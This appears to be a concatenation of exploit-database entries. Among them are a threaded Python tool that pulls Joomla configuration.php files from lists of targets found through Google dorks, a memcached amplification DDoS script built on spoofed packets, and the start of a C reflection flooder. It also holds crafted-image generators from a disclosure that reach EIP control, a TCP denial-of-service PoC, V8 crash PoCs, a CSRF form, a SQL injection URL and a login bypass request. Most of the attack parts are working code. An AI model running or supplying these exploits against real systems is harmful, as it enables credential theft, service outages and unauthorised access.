have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.
'''
try:
	import urllib2
except:
	print "$ pip2 install urllib2"
try:
	import argparse
except:
	print "$ pip2 install argparse"
try:
	import BeautifulSoup
except:
	print "$ pip2 install BeautifulSoup"
try:
	import urlparse
except:
	print "$ pip2 install urlparse"
try:
	import requests
except:
	print "$ pip2 install requests"
try:
	import threading
except:
	print "$ pip2 install threading"
import time, sys , os
global Animation, slowprint, fastprint
os.system('clear')

class Lab_Collors():
    vermelho = '\033[31m'
    verde = '\033[32m'
    azul = '\033[34m'
    ciano = '\033[36m'
    purple = '\033[35m'
    amarelo = '\033[33m'
    preto = '\033[30m'
    branco = '\033[37m'
    original = '\033[0;0m'
    reverso = '\033[2m'    
    default  = '\033[0m'

def slowprint(s):
    for c in s + '\n':
        sys.stdout.write(c)
        sys.stdout.flush() # defeat buffering
        time.sleep(8./90)
#time.sleep(10./90)

def fastprint(s):
    for c in s + '\n':
        sys.stdout.write(c)
        sys.stdout.flush() # defeat buffering
        time.sleep(1./50)

def Animation(String, color):
    animation = "|/-\\"
    for i in range(15):
        time.sleep(0.1)
        sys.stdout.write("\r" + "[" + animation[i % len(animation)] + "]" + color + String)
        sys.stdout.flush()
    print('')

print ''
parser = argparse.ArgumentParser(description='JOOMANAGER_Arbitrary_File_Download')
parser.add_argument('-t','--targets', action='store',help='--targets Targets.txt')
args = parser.parse_args()



class Lab_Banners():
	Bulls = '''
					   ╭━━━┳╮╱╱╱╱╱╱╱╭╮
					   ┃╭━╮┃┃╱╱╱╱╱╱╭╯╰╮
					   ┃╰━╯┃╰━┳━━┳━╋╮╭╋━━┳━━┳╮╭╮
					   ┃╭━━┫╭╮┃╭╮┃╭╮┫┃┃╭╮┃━━┫╰╯┃
					   ┃┃╱╱┃┃┃┃╭╮┃┃┃┃╰┫╭╮┣━━┃┃┃┃
					   ╰╯╱╱╰╯╰┻╯╰┻╯╰┻━┻╯╰┻━━┻┻┻╯
       ,                         .                ╭╮╱╱╱╱╱╭╮
      /|                         |\               ┃┃╱╱╱╱╱┃┃
     |-|  łαbørαŧøriø Ŧαηŧαsмα   |-|              ┃┃╱╱╭━━┫╰━╮  
     [  "-.____           ____.-"  ]              ┃┃╱╭┫╭╮┃╭╮┃
      \_     / \ ___.___ /  \     _/              ┃╰━╯┃╭╮┃╰╯┃
        "-__[    ===!===    ]__-"                 ╰━━━┻╯╰┻━━╯
            |               |       +==========================================================+
      .-"" _|=__    |    __=|_ ""-, |        COM_JOOMANAGER ARBITRARY FILE DOWNLOAD            |
       `""" \  "`==´ `==´"  / """´  +==========================================================+
             \  \\     //  /         | [*] GoogleDork: allinurl:index.php?option=com_joomanager |
              \  |\___/|  /         | [*] GoogleDork: allinurl:/component/joomanager/          |
               \,;-----;./          | [*] Coded: Luth1er     [*] Date: 30 - 06 - 2017          |
               |  @@ @@  |          | [*] GitHub: https://github.com/Luth1er                   |
                \ -"""- /           |            -  I take no responsibilities for the         |
                 `-----´            |            -       use of this program !                 |
                                    +==========================================================+'''
if not args.targets:
	os.system('clear')
	print Lab_Collors.azul+Lab_Banners.Bulls
	print ''
	print Lab_Collors.ciano+"[*] Usage: "
	print Lab_Collors.branco+"Joomanager_Afd.py --target Targets.txt"
	print Lab_Collors.branco+"Joomanager_Afd.py -t Targets.txt"
	print ''
	exit()

print Lab_Collors.azul+Lab_Banners.Bulls
slowprint(Lab_Collors.ciano+"                                                    Telegram: "+Lab_Collors.purple+"@DreadPirateRobertt")
fastprint(Lab_Collors.ciano+"                                                    Telegram: "+Lab_Collors.azul+"t.me/Phantasm_Lab")


class COM_JOOMANAGER_ARBITRARY_FILE_DOWNLOAD(threading.Thread):
	global Animation, fastprint
	def __init__(self, targets):
		threading.Thread.__init__(self)
		targets = open(targets, 'r').readlines()
		self.targets = targets
		self.process = None
	def run(self):
		try:
			count = 0
			print ''
			Animation("COM_JOOMANAGER_ARBITRARY_FILE_DOWNLOAD", Lab_Collors.verde)
			print ''
			for target in self.targets:
				try:
					target = target.strip()
					exploit3r = "index.php?option=com_joomanager&controller=details&task=download&path=configuration.php"
					exploit_dir = str(target+exploit3r)
					try:
						path = urlparse.urlparse(target).path
						url_title = target.replace(path, "")
						title = requests.get(url_title)
					except:
						title = requests.get(target)
					exploit = urllib2.urlopen(exploit_dir)

					soup = BeautifulSoup.BeautifulSoup(title.content.decode('utf-8','ignore'))
					Scraping_title = str(soup.title.text)
					with open(soup.title.text+".php","wb") as Attatchment:
						Attatchment.write(exploit.read())
					print ''
					print Lab_Collors.verde+"+==========================+"
					print Lab_Collors.verde+"|  Exploit Information:    |"
					print Lab_Collors.verde+"+================================================================================"
					print Lab_Collors.purple+"[+] Target: {}".format(Lab_Collors.amarelo+url_title)
					print Lab_Collors.purple+"[+] Title: {}".format(Lab_Collors.azul+Scraping_title)
					fastprint(Lab_Collors.purple+"[+] Exploited: ========================================================> 100%")
					print Lab_Collors.purple+"[+] Server: {}".format(str(Lab_Collors.amarelo+title.headers['server']))
					try:
						print Lab_Collors.purple+"[+] Connection: {}".format(Lab_Collors.branco+str(title.headers['Connection']))
					except:
						pass
					print Lab_Collors.purple+"[+] Exploit: {}".format(Lab_Collors.vermelho+exploit3r)
					print Lab_Collors.purple+"[+] Path: "+Lab_Collors.ciano+"/COM_JOOMANAGER-ARBITRARY-FILE-DOWNLOAD/Title.php"
					print Lab_Collors.verde+"+================================================================================"
					print ''
					count = count + 1
				except KeyboardInterrupt:
					print("Exiting")
					sys.exit(1)
				except Exception as Error:
					print "Error as {}".format(Error)
					pass
			Animation("Logout....", Lab_Collors.vermelho)
			print Lab_Collors.branco+"[!] Total Exploited: %s" % str(count)
			print ''
			sys.exit(1)
		except KeyboardInterrupt:
			print "Exiting...."
			sys.exit(1)

def main():
	try:
		threads = 1
		for host in range(int(threads)):
			Init_Atck = COM_JOOMANAGER_ARBITRARY_FILE_DOWNLOAD(args.targets)
			Init_Atck.daemon=True
			Init_Atck.start()
			while True: time.sleep(100)
	except (KeyboardInterrupt, SystemExit):
		print''
		Animation(" Exit Threading....", Lab_Collors.vermelho)
		

if __name__ == '__main__':
	try:
		main()
	except Exception as e:
		print "[!] Error as %s" % e
		exit()
	except KeyboardInterrupt:
		fastprint(Lab_Collors.vermelho+"[!] Keyboard as Interrupt....")
		exit()
            
ActivePDF Toolkit < 8.1.0 multiple RCE

Introduction
============
The ActivePDF Toolkit is a Windows library which enhances business
processes to stamp, stitch, merge, form-fill, add digital signatures,
barcodes to PDF. Both .NET and native APIs are provided.  Amongst many
other operations, this library can be used by applications to transform
images to PDF files.

Multiple vulnerabilities were identified in the Pictview image processing
library embedded by the Toolkit and signed by ActivePDF. They could allow
remote attackers to compromise applications relying on the Toolkit to
process untrusted images. Note that, while the example instances hereafter
use “exotic” file types, the parser determines the image type from magic
bytes, ignoring file extensions in most cases.

CVE
===
CVE-2018-7264

Affected versions
=================
ActivePDF Toolkit before 8.1.0 (build 8.1.0.19023)

Author
======
François Goichon - Google Security Team

CVE-2018-7264
=============
ActivePDF Toolkit < 8.1.0.19023 multiple RCE

Summary
-------
An image processing library embedded in the ActivePDF Toolkit product is
prone to multiple BSS out-of-bound and signedess errors which can yield
direct EIP control by overwriting function pointers, error handling
structures or IAT entries. Note that the affected library does not enable
ASLR.

Reproduction
------------
The following scripts can be used to generate crafted image files which
achieve EIP control when parsed or converted by the ActivePDF Toolkit (e.g.
via the ImageToPDF method), through different root causes. These examples
can be reproduced through both the .NET and native APIs and independently
from file extensions, however the .NET layer will hide the native crashes
and return -1. This may crash the library with a lock on, so only use in
test environments.

* Interchange File Format (.iff) and derivates
---
#!/usr/bin/env python2
#
# eax=28147510 ebx=00009c1c ecx=28147510 edx=00009c1c esi=28140e90
edi=02930a6c
# eip=41414141 esp=0061f264 ebp=0061f26c iopl=0         nv up ei pl nz na
po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010202
# 41414141 ??              ???

from struct import pack

header = "FORMXOXOILBM"

bodycontents = "AAA"
body = "BODY" + pack(">I", len(bodycontents)) + bodycontents
while (len(body) % 2) == 1:
  body += "\x00"

base = 0x28147510
payload = pack("<I", base).ljust(0x28151114 - base, "A") + pack("<I", base)
cmap = "CMAP" + pack(">I", len(payload)) + payload
while (len(cmap) % 2) == 1:
  cmap += "\x00"

outp = header + cmap + body
assert len(outp) >= 0x28

with open("test.iff", "wb") as f:
  f.write(outp)
---

* Zoner Draw images (.zmf, .zbr)
---
#!/usr/bin/env python2
#
# eax=28151110 ebx=0000002e ecx=0000bc28 edx=2813eb10 esi=00000008
edi=028e0a6c
# eip=41414141 esp=2814550c ebp=41414141 iopl=0         nv up ei ng nz ac
pe cy
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010297
# 41414141 ??              ???

from struct import pack

header = pack("<III", 0x5c, 0xD4015ADD, 0x12345678)
header = header.ljust(9*4) + pack("<I", 0x3c)
header = header.ljust(0x3c)

base = 0x2814550C
payload = '\x00' * (0x28151124 - base) + pack("<I", base) + "A"*8

# can be triggered by multiple formats
header2 = pack("<H", 0x4d42)
header2 = header2.ljust(14) + pack("<I", 50-14)
header2 = header2.ljust(28) + pack("<HI", 0, 0)
header2 = header2.ljust(46) + pack("<I", len(payload)/4 + 1)

outp = header + header2 + payload

with open("test.zmf", "w") as f:
  f.write(outp)
---

* Sun Raster images (.ras)
---
#!/usr/bin/python2
#
#WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding
can be inaccurate.
#eax=28151110 ebx=0000000c ecx=0000fc2d edx=2813eb10 esi=00000008
edi=02880a6c
#eip=41414141 esp=28141504 ebp=41414141 iopl=0         nv up ei ng nz ac pe
cy
#cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010297
#41414141 ??              ???

from struct import pack

header = pack(">IIIIIII", 0x59A66A95, 0x100, 1, 8, 0, 2, 1)

base = 0x28141504
payload = "".ljust(0x28151124 - base, "\x00") + pack("<I", base) + "A"*8
outp = header + pack(">I", len(payload)+1) + payload

with open("test.ras", "wb") as f:
  f.write(outp)
---

* Truevision Targa images (.bpx)
---
#!/usr/bin/env python2
#
#eax=28151110 ebx=00000004 ecx=00000008 edx=2813eb10 esi=00000008
edi=028f0a6c
#eip=41414141 esp=0061f2a0 ebp=0061f2e8 iopl=0         nv up ei ng nz ac pe
cy
#cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010297
#41414141 ??              ???

from struct import pack

target = 0x2815112C
payload = "AAAA"

# TGA / PIC / BPX
base = { 3: 0x28147510, 4: 0x2814550c }
align = None
for al in [3, 4]:
  if ((target - base[al]) % al) ==  0:
    align = al
    break
assert align

header = "\x00\x01\x00"
header += pack("<H", (target - base[align])/align)
header += pack("<H", (len(payload)/align)+1)
header += chr(32 if align == 4 else 24)
header = header.ljust(16)
header += chr(1)
header = header.ljust(18)

with open("test.bpx", "wb") as f:
  f.write(header + payload)
---

Remediation
-----------
Upgrade to ActivePDF Toolkit >= 8.1.0 (build 8.1.0.19023), which fixes the
problem by removing the affected image processing library. Note that this
also fixes the similar ZDI-16-354 vulnerability.

For more information and guidance, please contact the ActivePDF support
through their portal (https://support.activepdf.com).


Disclosure timeline
===================
2017/11/28 - Report sent to ActivePDF support
2017/11/28 - Support acknowledges the issue and confirms that the library
is scheduled to be removed from the product
2018/01/29 - Received notification from the ActivePDF support that the
Pictview image processing library had been removed from ActivePDF in build
8.1.0.19023
2017/02/26 - Public disclosure
            
# Written by Alex Conrey
# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44254.zip
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.

# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.

# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
#
# This was created to better understand the memcrashed exploit 
# brought to light thanks to CloudFlare.
# (https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/)
#
# Please sysadmin responsibly.

import requests
import memcache
import re

from scapy.all import *

# Vulnerable memcached server list
SERVER_LIST = [
        '172.17.0.2:11211',
]

# Destination 
TARGET = '1.2.3.4'

# optional payload to set if no keys exist
payload = requests.get('https://google.com').text
payload_key = 'fuckit'

# this forces payload to load into memory for being extra-evil and efficient
if not payload:
    print 'Could not import payload, continuing anyway'

try:
    for server in SERVER_LIST:
        if ':' in server:
            server = server.split(':')[0]

        ip = IP(src=TARGET, dst=server)
        packet_base = '\x00\x00\x00\x00\x00\x01\x00\x00{0}\r\n'

        # fetch known keys by id
        statitems_packet = packet_base.format('stats items')
        udp = UDP(sport=50000, dport=11211)/statitems_packet
        keyids = []
        resp = sr1(ip/udp)
        for key in str(resp.payload).split('\r\n'):
            # Skip first line which has hex in it (I'm lazy)
            if 'age' in key:
                key = key.split(':')[1]
                keyids.append(key)

        # fetch names for keys by id
        keys = []
        for kid in keyids:
            query = 'stats cachedump {0} 100'.format(kid)
            keyid_packet = packet_base.format(query)
            udp = UDP(sport=50000, dport=11211)/keyid_packet
            resp = str(sr1(ip/udp).payload).split('\r\n')
            for key in resp:
                if 'ITEM' in key:
                    res = re.match(r"(.*)ITEM (?P<keyname>\w+)(.*)",key)
                    keys.append(res.group('keyname'))

        # if keys not present on target, make one
        if not keys:
            mc = memcache.Client([server],debug=False)
            mc.set(payload_key, payload)
            keys.append(payload_key)

        # iterate thru known keys and blast away
        for key in keys:
            query = 'get {0}'.format(key)
            fun_packet = packet_base.format(query)
            udp = UDP(sport=50000, dport=11211)/fun_packet
            sr1(ip/udp)

except Exception:
    raise
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/SOFTROS-NETWORK-TIME-SYSTEM-SERVER-v2.3.4-DENIAL-OF-SERVICE.txt
[+] ISR: Apparition Security          
 

Vendor:
=============
www.softros.com
https://nts.softros.com/downloads/


Product:
===========
Network Time System Server v2.3.4 
Both x86/x64 versions


Network Time System provides a solution to system time maintenance problems. This powerful client/server software enables you to set up a
virtually fail-safe synchronized time environment for networks of any size and complexity, from small office networks (LAN) to those
maintained at large enterprises (VPN, VLAN, WAN), from single site networks to those including numerous domains and involving complex
routing techniques. Network Time System allows the creation of a custom source of precise time in a corporate network environment
establishing an interconnected time synchronization system for each and every machine and device on the company network.


Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2018-7658


Security Issue:
================
Network Time System (Server) "NTSServerSvc" service listens on Port 7001, unauthenticated remote attackers can crash the
Server by sending exactly 11 bytes to the target system. Systems which may depend on critical time synchronization 
could then potentially be impacted.


Stack dump:

'''
eax=0320119a ebx=0000000b ecx=000000ff edx=00000000 esi=03167040 edi=0050b328
eip=004069a5 esp=0447fee8 ebp=0447ff28 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297
NTSServerSvc+0x69a5:
004069a5 880a            mov     byte ptr [edx],cl          ds:0023:00000000=??
Resetting default scope

FAULTING_IP: 
NTSServerSvc+69a5
004069a5 880a            mov     byte ptr [edx],cl

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 004069a5 (NTSServerSvc+0x000069a5)
   ExceptionCode: c0000005 (Access violation)

'''


Exploit/POC:
=============
import socket
#Network Time System (Server) NTSServerSvc.exe v2.3.4 
#Softros Systems
#NTS Server service for time synchronization over network

print 'Network Time Server 11 byte Denial Of Service'
print 'by hyp3rlinx'
HOST=raw_input('Network Time Server IP')
PORT=7001
payload='A'*11 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((HOST,PORT))
s.send(payload)
s.close()



Network Access:
===============
Remote


Severity:
=========
Medium


Disclosure Timeline:
=============================
Vendor Notification: February 10, 2018
Second attempt : February 24, 2018 
Request CVE, assigned by Mitre : March 3, 2018
March 5, 2018: Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
            
/*
I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/#F0

Here's a snippet.
  case IrOpcode::kStoreField: {
    FieldAccess access = FieldAccessOf(node->op());
    Node* value_node = node->InputAt(1);
    NodeInfo* input_info = GetInfo(value_node);
    MachineRepresentation field_representation =
        access.machine_type.representation();

    // Make sure we convert to Smi if possible. This should help write
    // barrier elimination.
    if (field_representation == MachineRepresentation::kTagged &&
        TypeOf(value_node)->Is(Type::SignedSmall())) {
      field_representation = MachineRepresentation::kTaggedSigned;
    }
    WriteBarrierKind write_barrier_kind = WriteBarrierKindFor(
        access.base_is_tagged, field_representation, access.offset,
        access.type, input_info->representation(), value_node);

    ProcessInput(node, 0, UseInfoForBasePointer(access));
    ProcessInput(node, 1,
                 TruncatingUseInfoFromRepresentation(field_representation));
    ProcessRemainingInputs(node, 2);
    SetOutput(node, MachineRepresentation::kNone);
    if (lower()) {
      if (write_barrier_kind < access.write_barrier_kind) {
        access.write_barrier_kind = write_barrier_kind;
        NodeProperties::ChangeOp(
            node, jsgraph_->simplified()->StoreField(access));
      }
    }
    return;
  }

Since Smi stores can be performed without write barriers, if it's possible to convert to Smi, it tries to help write barrier elimination by changing field_representation to MachineRepresentation::kTaggedSigned as noted in the comment. But whether or not field_representation has changed, it uses TruncatingUseInfoFromRepresentation to process the value node.

But TruncatingUseInfoFromRepresentation(kTaggedSigned) returns UseInfo::AnyTagged() which is also compatible with kTaggedPointer. So even in the case where input_info->representation() is kTaggedPointer and the value is a heap object, it may eliminate the write barrier.

Note: It's the same when handling kStoreElement.

PoC 1 using kStoreField.
*/

var a, b;  // should be var
for (var i = 0; i < 100000; i++) {
    b = 1;
    a = i + -0;  // -0 is a number, so this will make "a" a heap object.
    b = a;
}

print(a === b);  // true
gc();
print(a === b);  // false
print(b);

/*
PoC 2 using kStoreElement.
let arr = [{}];
var v;  // should be var
for (var i = 0; i < 700000; i++) {
    arr[0] = 1;
    v = i + -0;
    arr[0] = v;
}

print(arr[0] === v)  // true
gc();
print(arr[0] === v)  // false
print(arr[0]);
*/
            
Exploit Title: Bravo Tejari Web Portal-CSRF
CVE-ID: CVE-2018-7216
Vulnerability Type: Cross Site Request Forgery (CSRF)
Vendor of Product: Tejari
Affected Product Code Base: Bravo Solution
Affected Component: Web Interface Management.
Attack Type: Local - Authenticated
Impact: Unauthorised Access
Category: WebApps
Author: Arvind V.
Author Social: @Find_Arvind

Vulnerability Type: Cross Site Request Forgery (CSRF)
Vendor of Product: Tejari
Affected Product Code Base: Bravo Solution
Affected Component: Web Interface Management.
Attack Type: Local - Authenticated
Impact: Unauthorised Access

Product description:
Bravo Tejari is a strategic procurement platform that enables organizations
to generate more value, influence innovation and reduce risk powered by a
unique supplier-centered approach that integrates supplier lifetime value
throughout the entire procurement process

Attack Scenario:
The Web Interface of the Bravo Tejari procurement portal does not use
random tokens to block any kind of forged requests. An atacker can take
advantage of this scenario and create a forged request to edit user account
details like name, address of the company/individual, email address etc. He
then uses social engineering techniques to target specific individuals
whose account details he would like to change. He simply sends the link and
tricks the user into clicking the forged http request. The request is
executed and user account details are changed without his knowledge.

Proof of Concept Code:
Forged HTTP Request used by the attacker:

<html>
    <body>
    <form action="https://XXXX.XXXX.com/esop/toolkit/profile/regData.do"
method="POST">
      <input type="hidden" name="userAct" value="confirmData" />
      <input type="hidden" name="from" value="registration&#95;data" />
      <input type="hidden" name="actionNumber" value="0" />
      <input type="hidden" name="companyExtStatusCode" value="31" />
      <input type="hidden" name="companyExtStatusNote" value="" />
      <input type="hidden" name="hideCompany" value="false" />
      <input type="hidden" name="companyName"
value="XYZ&#32;COMPUTER&#32;SYSTEMS&#32;FZ&#32;LLC" />
      <input type="hidden" name="companyAddress"
value="Dubai&#32;internet&#32;city&#44;&#32;DUBAI" />
      <input type="hidden" name="companyCity" value="DUBAI" />
      <input type="hidden" name="companyCountry" value="AE" />
      <input type="hidden" name="companyProvince" value="Dubai" />
      <input type="hidden" name="companyZip" value="25703" />
      <input type="hidden" name="companyPhone" value="43918600" />
      <input type="hidden" name="companyFax" value="" />
      <input type="hidden" name="companyEmail"
value="XYZ&#46;v&#64;XYZ&#46;com" />
      <input type="hidden" name="companyWebSite" value="" />
      <input type="hidden" name="companyLegalStructure" value="" />
      <input type="hidden" name="companyAddress2" value="" />
      <input type="hidden" name="companyFiscalCode" value="215703" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


Impact:
The affected product is a procurement portal and so all communication
regarding the contract lifecycle process is sent to user details provided
on the portal. If this vulnerability is sucessfully exploited, the attacker
will be able to change these details which will potentially affect the
victim's business.

Recommendation:
Ensure that all sensitive CRUD Operations are appropriately protected with
random tokens. Alternatively, the sensitive operations should also have an
authentication layer to confirm user verification.

References:
http://seclists.org/fulldisclosure/2018/Feb/44
https://packetstormsecurity.com/files/146409/Tejari-Cross-Site-Request-Forgery.html

https://www.securityfocus.com/archive/1/541782/30/0/threaded

Credit: Arvind Vishwakarma
http://ultimateone1.blogspot.ae/



Vulnerability Timeline:
12th December 2017 – Vulnerability Discovered
23rd December 2017 – Contacted Vendor – No Response
7th January 2018 – Contacted Vendor again – No Response
15th February 2018 – Vulnerability Disclosed
            
/*
I think this commit has introduced the bug.
https://chromium.googlesource.com/v8/v8/+/ff7063c7d5d8ad8eafcce3da59e65d7fe2b4f915%5E%21/#F2

According to the description, Object.create is supposed to be inlined only when the prototype given as the parameter is "null".

The following check has to guarantee it, but it can't guarantee it. Any receiver can get through the check, then Map::GetObjectCreateMap may transition the prototype, which may lead to type confusion.
  if (!prototype_const->IsNull(isolate()) && !prototype_const->IsJSReceiver()) {
    return NoChange();
  }
  instance_map = Map::GetObjectCreateMap(prototype_const);

PoC:
*/

var object;
function opt() {
    opt['x'] = 1.1;
    try {
        Object.create(object);
    } catch (e) {
    }

    for (let i = 0; i < 1000000; i++) {

    }
}

opt();
object = opt;
opt();
            
PoC:
function* opt(arg = () => arg) {
    let tmp = opt.x;  // LdaNamedProperty
    for (;;) {
        arg;
        yield;

        function inner() {
            tmp;
        }

        break;
    }
}

for (let i = 0; i < 100000; i++) {
    opt();
}

/*
PoC for release build:
function* opt(arg = () => {
    arg;
    this;
}, opt) {
    let tmp = arg.x;
    for (;;) {
        arg;
        yield;

        tmp = {
            inner() {
                tmp;
            }
        };
    }
}

for (let i = 0; i < 10000; i++) {
    opt();
}

What happened:
1. The LdaNamedProperty operation "opt.x" was lowered to a graph exit in the graph builder. This set the current environment to nullptr (BytecodeGraphBuilder::ApplyEarlyReduction).
2. The environment for the next block (for-loop) was supposed to be created from merging with the previous environment, but it had been set to nullptr at 1. So the context value remained as "undefined".
3. But GetSpecializationContext directly casted the context value to Context* which resulted in type confusion.
*/
            
/*
In the current implementation, the bytecode generator also emits empty jump tables.
https://cs.chromium.org/chromium/src/v8/src/interpreter/bytecode-array-writer.cc?rcl=111e990462823c9faeee06b67c0dcf05749d4da8&l=89

So the bytecode for the example code would be generated as follows:
Code:
function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;  // never reaches, never hits BindJumpTableEntry
        }
}

Bytecode:
        ...
         0x35dda532a2a5 @   75 : 90 04 01 01       SwitchOnSmiNoFeedback [4], [1], [1] { }  <<--- SIZE: 1, but EMPTY
        ...


Here's a snippet of JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid which is used to enumerate a jump table.
void JumpTableTargetOffsets::iterator::UpdateAndAdvanceToValid() {
  if (table_offset_ >= table_end_) return;

  current_ = accessor_->GetConstantAtIndex(table_offset_);
  Isolate* isolate = accessor_->bytecode_array()->GetIsolate();
  while (current_->IsTheHole(isolate)) {
    ++table_offset_;
    ++index_;
    current_ = accessor_->GetConstantAtIndex(table_offset_);
  }
}

If the jump table is empty, table_offset_ may exceed table_end_. As a result, out-of-bounds reads occur.

PoC:
*/

function* opt() {
    for (;;)
        if (true) {

        } else {
            yield;
        }

    for (;;)
        if (true) {

        } else {
            yield; yield; yield; yield; yield; yield; yield; yield;
        }
}

for (let i = 0; i < 100000; i++)
    opt();
            
# Exploit Title: Redaxo CMS Addon MyEvents SQL Injection [ Backend ]
# Date: 01.03.2018
# Exploit Author: h0n1gsp3cht
# Vendor Homepage: http://www.github.com/wende60/myevents
# Version: 2.2.1 (Last Version)
# Tested on: LinuxMint
# More: Login Required
# GET

##############
Vuln Code [+] redaxo/src/addons/myevents/pages/event_add.php
##############

$myevents_id            =  strip_tags(rex_request('myevents_id', 'string'));

###############
POC
###############

http://127.0.0.1/redaxo/index.php?page=myevents/event_add&myevents_id=[SQL]
            
# Exploit Title: antMan <= 0.9.0c Authentication Bypass
# Date: 02-27-2018
# Software Link: https://www.antsle.com
# Version: <= 0.9.0c
# Tested on: 0.9.0c
# Exploit Author: Joshua Bowser
# Contact: joshua.bowser@codecatoctin.com
# Website: http://www.codecatoctin.com
# Category: web apps
 
1. Description
   
antMan versions <= 0.9.c contain a critical authentication defect, allowing an unauthenticated attacker to obtain root permissions within the antMan web management console.
 
http://blog.codecatoctin.com/2018/02/antman-authentication-bypass.html
 
   
2. Proof of Concept
 
The antMan authentication implementation obtains user-supplied username and password parameters from a POST request issued to /login. Next, antMan utilizes Javaâ€s ProcessBuilder class to invoke, as root, a bash script called antsle-auth.

This script contains two critical defects that allow an attacker to bypass the authentication checks.  By changing the username to > and the password to a url-encoded linefeed (%0a), we can force the authentication script to produce return values not anticipated by the developer.

To exploit these defects, use a web proxy to intercept the login attempt and modify the POST parameters as follows:

#-------------------------
POST /login HTTP/1.1
Host: 10.1.1.7:3000
[snip]

username= > &password=%0a
#-------------------------

You will now be successfully authenticated to antMan as the administrative root user.
 
   
3. Solution:
   
Update to version 0.9.1a
            
/**
memcached-PoC

memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts.

memcached.c - Source code (https://pastebin.com/raw/ZiUeinae)
memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu)

Compile: gcc memcached.c -o memecached -pthread

*Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries.

**/

/* 
   memcache reflection script
   greeting: syn, storm, krashed, chrono, spike, niko, disliked
   Use with extreme Caution
*/

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
	struct sockaddr_in data;
	struct list *next;
	struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
	int i;
	Q[0] = x;
	Q[1] = x + PHI;
	Q[2] = x + PHI + PHI;
	for (i = 3; i < 4096; i++)
	{
	Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
	}
}
uint32_t rand_cmwc(void)
{
	uint64_t t, a = 18782LL;
	static uint32_t i = 4095;
	uint32_t x, r = 0xfffffffe;
	i = (i + 1) & 4095;
	t = a * Q[i] + c;
	c = (t >> 32);
	x = t + c;
	if (x < c) {
	x++;
	c++;
	}
	return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int nwords)
{
	unsigned long sum = 0;
	for (sum = 0; nwords > 0; nwords--)
	sum += *buf++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
